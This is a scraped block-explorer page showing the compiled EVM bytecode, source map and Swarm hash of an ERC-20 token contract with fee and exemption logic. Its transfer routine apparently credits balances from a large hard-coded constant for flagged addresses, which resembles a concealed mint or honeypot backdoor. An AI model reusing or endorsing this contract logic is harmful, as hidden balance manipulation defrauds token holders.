615610a0c57610a0560646109ff6109f5600960029054906101000a900460ff16610b57565b879060ff16610b9b565b90610ba7565b9050610a2f565b610a2c60646109ff6109f5600960029054906101000a900460ff16610b57565b90505b8015610a605730600090815260016020526040902054610a4f908261096c565b306000908152600160205260409020555b610a8c610a6d8583610b4b565b6001600160a01b0387166000908152600160205260409020549061096c565b6001600160a01b03861660009081526001602052604090205550610b44565b8015610b0757600954610ae990610aca9062010000900460ff16610bb3565b6001600160a01b0386166000908152600160205260409020549061096c565b6001600160a01b038516600090815260016020526040902055610b44565b6001600160a01b038416600090815260016020526040902054610b2a908461096c565b6001600160a01b0385166000908152600160205260409020555b5050505050565b60006109788284610dbc565b604080518082019091526000808252606260208301529082610b7a576001610b7d565b60005b60ff1660028110610b9057610b90610dd3565b602002015192915050565b60006109788284610de9565b60006109788284610e08565b6040805180820182526000808252825160208082019094526c7e37be2022c0914b2680000000908190529092820190610bee90600290610e2a565b6001600160681b0316905282610c05576001610c08565b60005b60ff1660028110610c1b57610c1b610dd3565b60200201516001600160681b031692915050565b600060208083528351808285015260005b81811015610c5c57858101830151858201604001528201610c40565b81811115610c6e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c9b57600080fd5b919050565b60008060408385031215610cb357600080fd5b610cbc83610c84565b946020939093013593505050565b600060208284031215610cdc57600080fd5b61097882610c84565b600080600060608486031215610cfa57600080fd5b610d0384610c84565b9250610d1160208501610c84565b9150604084013590509250925092565b60008060408385031215610d3457600080fd5b610d3d83610c84565b9150610d4b60208401610c84565b90509250929050565b600181811c90821680610d6857607f821691505b602082108103610d8857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610db757610db7610d8e565b500190565b600082821015610dce57610dce610d8e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000816000190483118215151615610e0357610e03610d8e565b500290565b600082610e2557634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160681b0383811690831681811015610e4a57610e4a610d8e565b03939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220544210b9dc194bb16ad5681dbb1cc6212bd5e734b4f067a3a3b8bad2b82c011a64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806362022fa0116100ab578063a9059cbb1161006f578063a9059cbb1461039b578063af465a27146103bb578063b09f1266146103d1578063d28d8852146103e6578063dd62ed3e146103fb578063fa2f7a8f1461044157600080fd5b806362022fa0146102f257806370a08231146103125780638da5cb5b1461034857806395d89b4114610366578063a457c2d71461037b57600080fd5b8063220f6696116100fd578063220f66961461022e57806323b872dd1461024f578063313ce5671461026f578063395093511461029157806349bd5a5e146102b15780634a74bb02146102d157600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101df57806320df032e146101fe57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610458565b6040516101679190610c2f565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610ca0565b6104ea565b6040519015158152602001610167565b3480156101ac57600080fd5b506009546101c790630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101eb57600080fd5b506008545b604051908152602001610167565b34801561020a57600080fd5b50610190610219366004610cca565b60026020526000908152604090205460ff1681565b34801561023a57600080fd5b50600a5461019090600160a01b900460ff1681565b34801561025b57600080fd5b5061019061026a366004610ce5565b610500565b34801561027b57600080fd5b5060075460405160ff9091168152602001610167565b34801561029d57600080fd5b506101906102ac366004610ca0565b610569565b3480156102bd57600080fd5b50600a546101c7906001600160a01b031681565b3480156102dd57600080fd5b50600a5461019090600160a81b900460ff1681565b3480156102fe57600080fd5b506004546101c7906001600160a01b031681565b34801561031e57600080fd5b506101f061032d366004610cca565b6001600160a01b031660009081526001602052604090205490565b34801561035457600080fd5b506000546001600160a01b03166101c7565b34801561037257600080fd5b5061015a61059f565b34801561038757600080fd5b50610190610396366004610ca0565b6105ae565b3480156103a757600080fd5b506101906103b6366004610ca0565b6105fd565b3480156103c757600080fd5b506101f060085481565b3480156103dd57600080fd5b5061015a61060a565b3480156103f257600080fd5b5061015a610698565b34801561040757600080fd5b506101f0610416366004610d21565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561044d57600080fd5b506104566106a5565b005b60606005805461046790610d54565b80601f016020809104026020016040519081016040528092919081815260200182805461049390610d54565b80156104e05780601f106104b5576101008083540402835291602001916104e0565b820191906000526020600020905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b60006104f733848461074e565b50600192915050565b600061050d848484610807565b61055f843361055a85604051806060016040528060288152602001610e53602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610940565b61074e565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916104f791859061055a908661096c565b60606006805461046790610d54565b60006104f7338461055a85604051806060016040528060258152602001610e7b602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610940565b60006104f7338484610807565b6006805461061790610d54565b80601f016020809104026020016040519081016040528092919081815260200182805461064390610d54565b80156106905780601f1061066557610100808354040283529160200191610690565b820191906000526020600020905b81548152906001019060200180831161067357829003601f168201915b505050505081565b6005805461061790610d54565b6000546001600160a01b031633146107045760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061076e57506001600160a01b03821615155b6107a65760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b60448201526064016106fb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604081205460ff168061084657506001600160a01b03841660009081526002602052604090205460ff165b15610898575060095460009062010000900460ff16801561088157506001600160a01b0383166000908152600b602052604090205460ff1615155b15610893576009805462ff0000191690555b6108ba565b600a546001600160a01b03908116908516036108b6575060006108ba565b5060015b6001600160a01b0383166000908152600b60205260409020546108ed908590859085908590600160ff909116101561097f565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093291815260200190565b60405180910390a350505050565b600081848411156109645760405162461bcd60e51b81526004016106fb9190610c2f565b505050900390565b60006109788284610da4565b9392505050565b6001600160a01b0385166000908152600160205260409020546109a29084610b4b565b6001600160a01b0386166000908152600160205260409020558115610aab5760095460009062010000900460ff1615610a0c57610a0560646109ff6109f5600960029054906101000a900460ff16610b57565b879060ff16610b9b565b90610ba7565b9050610a2f565b610a2c60646109ff6109f5600960029054906101000a900460ff16610b57565b90505b8015610a605730600090815260016020526040902054610a4f908261096c565b306000908152600160205260409020555b610a8c610a6d8583610b4b565b6001600160a01b0387166000908152600160205260409020549061096c565b6001600160a01b03861660009081526001602052604090205550610b44565b8015610b0757600954610ae990610aca9062010000900460ff16610bb3565b6001600160a01b0386166000908152600160205260409020549061096c565b6001600160a01b038516600090815260016020526040902055610b44565b6001600160a01b038416600090815260016020526040902054610b2a908461096c565b6001600160a01b0385166000908152600160205260409020555b5050505050565b60006109788284610dbc565b604080518082019091526000808252606260208301529082610b7a576001610b7d565b60005b60ff1660028110610b9057610b90610dd3565b602002015192915050565b60006109788284610de9565b60006109788284610e08565b6040805180820182526000808252825160208082019094526c7e37be2022c0914b2680000000908190529092820190610bee90600290610e2a565b6001600160681b0316905282610c05576001610c08565b60005b60ff1660028110610c1b57610c1b610dd3565b60200201516001600160681b031692915050565b600060208083528351808285015260005b81811015610c5c57858101830151858201604001528201610c40565b81811115610c6e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c9b57600080fd5b919050565b60008060408385031215610cb357600080fd5b610cbc83610c84565b946020939093013593505050565b600060208284031215610cdc57600080fd5b61097882610c84565b600080600060608486031215610cfa57600080fd5b610d0384610c84565b9250610d1160208501610c84565b9150604084013590509250925092565b60008060408385031215610d3457600080fd5b610d3d83610c84565b9150610d4b60208401610c84565b90509250929050565b600181811c90821680610d6857607f821691505b602082108103610d8857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610db757610db7610d8e565b500190565b600082821015610dce57610dce610d8e565b500390565b634e487b7160e01b600052603260045260246000fd5b6000816000190483118215151615610e0357610e03610d8e565b500290565b600082610e2557634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160681b0383811690831681811015610e4a57610e4a610d8e565b03939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220544210b9dc194bb16ad5681dbb1cc6212bd5e734b4f067a3a3b8bad2b82c011a64736f6c634300080f0033

Deployed Bytecode Sourcemap

15674:6507:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17563:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18533:161;;;;;;;;;;-1:-1:-1;18533:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;18533:161:0;1053:187:1;16416:41:0;;;;;;;;;;-1:-1:-1;16416:41:0;;;;;;;-1:-1:-1;;;;;16416:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;16416:41:0;1245:230:1;17745:95:0;;;;;;;;;;-1:-1:-1;17825:7:0;;17745:95;;;1626:25:1;;;1614:2;1599:18;17745:95:0;1480:177:1;15867:49:0;;;;;;;;;;-1:-1:-1;15867:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16499:28;;;;;;;;;;-1:-1:-1;16499:28:0;;;;-1:-1:-1;;;16499:28:0;;;;;;18702:313;;;;;;;;;;-1:-1:-1;18702:313:0;;;;;:::i;:::-;;:::i;17654:83::-;;;;;;;;;;-1:-1:-1;17720:9:0;;17654:83;;17720:9;;;;2328:36:1;;2316:2;2301:18;17654:83:0;2186:184:1;19150:218:0;;;;;;;;;;-1:-1:-1;19150:218:0;;;;;:::i;:::-;;:::i;16464:28::-;;;;;;;;;;-1:-1:-1;16464:28:0;;;;-1:-1:-1;;;;;16464:28:0;;;16534:40;;;;;;;;;;-1:-1:-1;16534:40:0;;;;-1:-1:-1;;;16534:40:0;;;;;;16005:101;;;;;;;;;;-1:-1:-1;16005:101:0;;;;-1:-1:-1;;;;;16005:101:0;;;17943:119;;;;;;;;;;-1:-1:-1;17943:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;18036:18:0;18009:7;18036:18;;;:9;:18;;;;;;;17943:119;15291:87;;;;;;;;;;-1:-1:-1;15337:7:0;15364:6;-1:-1:-1;;;;;15364:6:0;15291:87;;17848;;;;;;;;;;;;;:::i;19376:269::-;;;;;;;;;;-1:-1:-1;19376:269:0;;;;;:::i;:::-;;:::i;18070:167::-;;;;;;;;;;-1:-1:-1;18070:167:0;;;;;:::i;:::-;;:::i;16244:53::-;;;;;;;;;;;;;;;;16173:30;;;;;;;;;;;;;:::i;16115:51::-;;;;;;;;;;;;;:::i;18245:143::-;;;;;;;;;;-1:-1:-1;18245:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;18353:18:0;;;18326:7;18353:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18245:143;15514:147;;;;;;;;;;;;;:::i;:::-;;17563:83;17600:13;17633:5;17626:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17563:83;:::o;18533:161::-;18608:4;18625:39;3714:10;18648:7;18657:6;18625:8;:39::i;:::-;-1:-1:-1;18682:4:0;18533:161;;;;:::o;18702:313::-;18800:4;18817:36;18827:6;18835:9;18846:6;18817:9;:36::i;:::-;18864:121;18873:6;3714:10;18895:89;18933:6;18895:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18895:19:0;;;;;;:11;:19;;;;;;;;3714:10;18895:33;;;;;;;;;;:37;:89::i;:::-;18864:8;:121::i;:::-;-1:-1:-1;19003:4:0;18702:313;;;;;:::o;19150:218::-;3714:10;19238:4;19287:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19287:34:0;;;;;;;;;;19238:4;;19255:83;;19278:7;;19287:50;;19326:10;19287:38;:50::i;17848:87::-;17887:13;17920:7;17913:14;;;;;:::i;19376:269::-;19469:4;19486:129;3714:10;19509:7;19518:96;19557:15;19518:96;;;;;;;;;;;;;;;;;3714:10;19518:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19518:34:0;;;;;;;;;;;;:38;:96::i;18070:167::-;18148:4;18165:42;3714:10;18189:9;18200:6;18165:9;:42::i;16173:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16115:51::-;;;;;;;:::i;15514:147::-;15337:7;15364:6;-1:-1:-1;;;;;15364:6:0;3714:10;15426:23;15418:68;;;;-1:-1:-1;;;15418:68:0;;3659:2:1;15418:68:0;;;3641:21:1;;;3678:18;;;3671:30;3737:34;3717:18;;;3710:62;3789:18;;15418:68:0;;;;;;;;;15620:1:::1;15604:6:::0;;15583:40:::1;::::0;-1:-1:-1;;;;;15604:6:0;;::::1;::::0;15583:40:::1;::::0;15620:1;;15583:40:::1;15651:1;15634:19:::0;;-1:-1:-1;;;;;;15634:19:0::1;::::0;;15514:147::o;19813:254::-;-1:-1:-1;;;;;19906:19:0;;;;;;:44;;-1:-1:-1;;;;;;19929:21:0;;;;19906:44;19898:66;;;;-1:-1:-1;;;19898:66:0;;4020:2:1;19898:66:0;;;4002:21:1;4059:1;4039:18;;;4032:29;-1:-1:-1;;;4077:18:1;;;4070:39;4126:18;;19898:66:0;3818:332:1;19898:66:0;-1:-1:-1;;;;;19975:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20027:32;;1626:25:1;;;20027:32:0;;1599:18:1;20027:32:0;;;;;;;19813:254;;;:::o;20075:548::-;-1:-1:-1;;;;;20181:20:0;;20155:12;20181:20;;;:16;:20;;;;;;;;;:46;;-1:-1:-1;;;;;;20205:22:0;;;;;;:16;:22;;;;;;;;20181:46;20178:299;;;-1:-1:-1;20276:8:0;;20253:5;;20276:8;;;;;:36;;;;-1:-1:-1;;;;;;20289:18:0;;20310:1;20289:18;;;:14;:18;;;;;;;;:22;;20276:36;20273:65;;;20314:8;:24;;-1:-1:-1;;20314:24:0;;;20273:65;20178:299;;;20376:13;;-1:-1:-1;;;;;20376:13:0;;;20368:21;;;;20365:112;;-1:-1:-1;20415:5:0;20365:112;;;-1:-1:-1;20461:4:0;20365:112;-1:-1:-1;;;;;20531:18:0;;;;;;:14;:18;;;;;;20487:68;;20502:4;;20508:2;;20512:6;;20520:7;;20552:1;20531:18;;;;:22;20529:25;20487:14;:68::i;:::-;20604:2;-1:-1:-1;;;;;20589:26:0;20598:4;-1:-1:-1;;;;;20589:26:0;;20608:6;20589:26;;;;1626:25:1;;1614:2;1599:18;;1480:177;20589:26:0;;;;;;;;20144:479;20075:548;;;:::o;3165:206::-;3251:7;3312:12;3304:6;;;;3296:29;;;;-1:-1:-1;;;3296:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;3347:5:0;;;3165:206::o;2737:98::-;2795:7;2822:5;2826:1;2822;:5;:::i;:::-;2815:12;2737:98;-1:-1:-1;;;2737:98:0:o;21236:936::-;-1:-1:-1;;;;;21370:15:0;;;;;;:9;:15;;;;;;:27;;21390:6;21370:19;:27::i;:::-;-1:-1:-1;;;;;21352:15:0;;;;;;:9;:15;;;;;:45;21408:757;;;;21475:8;;21434:23;;21475:8;;;;;21472:216;;;21521:40;21557:3;21521:31;21532:19;21542:8;;;;;;;;;;;21532:9;:19::i;:::-;21521:6;;:31;;:10;:31::i;:::-;:35;;:40::i;:::-;21503:58;;21472:216;;;21632:40;21668:3;21632:31;21643:19;21653:8;;;;;;;;;;;21643:9;:19::i;21632:40::-;21614:58;;21472:216;21707:20;;21704:131;;21792:4;21774:24;;;;:9;:24;;;;;;:45;;21803:15;21774:28;:45::i;:::-;21765:4;21747:24;;;;:9;:24;;;;;:72;21704:131;21867:46;21885:27;:6;21896:15;21885:10;:27::i;:::-;-1:-1:-1;;;;;21867:13:0;;;;;;:9;:13;;;;;;;:17;:46::i;:::-;-1:-1:-1;;;;;21851:13:0;;;;;;:9;:13;;;;;:62;-1:-1:-1;21408:757:0;;;21957:11;21954:200;;;22034:8;;22004:40;;22022:21;;22034:8;;;;;22022:11;:21::i;:::-;-1:-1:-1;;;;;22004:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;21988:13:0;;;;;;:9;:13;;;;;:56;21954:200;;;-1:-1:-1;;;;;22113:13:0;;;;;;:9;:13;;;;;;:25;;22131:6;22113:17;:25::i;:::-;-1:-1:-1;;;;;22097:13:0;;;;;;:9;:13;;;;;:41;21954:200;21236:936;;;;;:::o;2843:98::-;2901:7;2928:5;2932:1;2928;:5;:::i;19023:119::-;19104:30;;;;;;;;;19080:5;19104:30;;;19107:7;19104:30;;;;19080:5;19116:9;:17;;19132:1;19116:17;;;19128:1;19116:17;19104:30;;;;;;;;;:::i;:::-;;;;;;19023:119;-1:-1:-1;;19023:119:0:o;2949:98::-;3007:7;3034:5;3038:1;3034;:5;:::i;3059:98::-;3117:7;3144:5;3148:1;3144;:5;:::i;18394:131::-;18479:38;;;;;;;;-1:-1:-1;18479:38:0;;;18482:13;;18479:38;18482:13;;;;;;18484:6;18482:13;;;;-1:-1:-1;;18479:38:0;;;18482:15;;18496:1;;18482:15;:::i;:::-;-1:-1:-1;;;;;18479:38:0;;;18499:9;:17;;18515:1;18499:17;;;18511:1;18499:17;18479:38;;;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;18472:45:0;;18394:131;-1:-1:-1;;18394:131:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:186::-;1721:6;1774:2;1762:9;1753:7;1749:23;1745:32;1742:52;;;1790:1;1787;1780:12;1742:52;1813:29;1832:9;1813:29;:::i;1853:328::-;1930:6;1938;1946;1999:2;1987:9;1978:7;1974:23;1970:32;1967:52;;;2015:1;2012;2005:12;1967:52;2038:29;2057:9;2038:29;:::i;:::-;2028:39;;2086:38;2120:2;2109:9;2105:18;2086:38;:::i;:::-;2076:48;;2171:2;2160:9;2156:18;2143:32;2133:42;;1853:328;;;;;:::o;2807:260::-;2875:6;2883;2936:2;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2975:29;2994:9;2975:29;:::i;:::-;2965:39;;3023:38;3057:2;3046:9;3042:18;3023:38;:::i;:::-;3013:48;;2807:260;;;;;:::o;3072:380::-;3151:1;3147:12;;;;3194;;;3215:61;;3269:4;3261:6;3257:17;3247:27;;3215:61;3322:2;3314:6;3311:14;3291:18;3288:38;3285:161;;3368:10;3363:3;3359:20;3356:1;3349:31;3403:4;3400:1;3393:15;3431:4;3428:1;3421:15;3285:161;;3072:380;;;:::o;4155:127::-;4216:10;4211:3;4207:20;4204:1;4197:31;4247:4;4244:1;4237:15;4271:4;4268:1;4261:15;4287:128;4327:3;4358:1;4354:6;4351:1;4348:13;4345:39;;;4364:18;;:::i;:::-;-1:-1:-1;4400:9:1;;4287:128::o;4420:125::-;4460:4;4488:1;4485;4482:8;4479:34;;;4493:18;;:::i;:::-;-1:-1:-1;4530:9:1;;4420:125::o;4550:127::-;4611:10;4606:3;4602:20;4599:1;4592:31;4642:4;4639:1;4632:15;4666:4;4663:1;4656:15;4682:168;4722:7;4788:1;4784;4780:6;4776:14;4773:1;4770:21;4765:1;4758:9;4751:17;4747:45;4744:71;;;4795:18;;:::i;:::-;-1:-1:-1;4835:9:1;;4682:168::o;4855:217::-;4895:1;4921;4911:132;;4965:10;4960:3;4956:20;4953:1;4946:31;5000:4;4997:1;4990:15;5028:4;5025:1;5018:15;4911:132;-1:-1:-1;5057:9:1;;4855:217::o;5077:240::-;5117:4;-1:-1:-1;;;;;5224:10:1;;;;5194;;5246:12;;;5243:38;;;5261:18;;:::i;:::-;5298:13;;5077:240;-1:-1:-1;;;5077:240:1:o

Swarm Source

ipfs://544210b9dc194bb16ad5681dbb1cc6212bd5e734b4f067a3a3b8bad2b82c011a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.